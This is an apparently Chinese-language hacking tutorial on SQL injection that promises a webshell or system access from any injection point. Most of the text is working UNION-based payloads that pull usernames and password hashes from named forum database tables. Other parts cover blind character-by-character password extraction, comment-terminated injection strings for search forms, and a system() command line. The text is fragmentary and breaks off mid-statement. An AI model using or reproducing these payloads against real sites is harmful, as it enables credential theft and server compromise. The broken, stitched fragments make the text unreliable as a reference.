sql injection终极利用方法

内容提要：————只要给我一个注射点，无论什么权限，我都给你一个webshell甚至系统权限 声明：本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责。因为 发觉其危害过大，原文已经经过大量删减及修改，即使这样本 ……

user where id=1 and groupid=1
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 （替换，寻找密码）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 （验证第一位密码）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 （第二位）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
…………………………………………………………

例如2：灰色轨迹 变换id进行测试（meteor）
union%20(select%20allowsmilies,public,userid,''0000-0-0'',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate
union%20(select%20allowsmilies,public,userid,''0000-0-0'',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate
构造语句：
select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
union%20(select%201,0,2,''1999-01-01'',''a'',password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate
union%20(select%201,0,12695,''1999-01-01'',''a'',password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate
union%20(select%201,0,12695,''1999-01-01'',''a'',userid%20FROM%20user%20where%20username=''sandflee'')%20order%20by%20eventdate （查沙子的id）

（select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)
select * FROM article where articleid=''$id'' union select * FROM……（字段和数据库相同情况下，可直接提交）
select * FROM article where articleid=''$id'' union select 1,1,1,1,1,1,1 FROM……（不同的情况下）

特殊技巧：在表单，搜索引擎等地方写：
"___"
".__ "
"%
%'' ORDER BY articleid/*
%'' ORDER BY articleid#
__'' ORDER BY articleid/*
__'' ORDER BY articleid#

$command = "dir c:\";system($command);
select * FROM article where articleid=''$id''
select * FR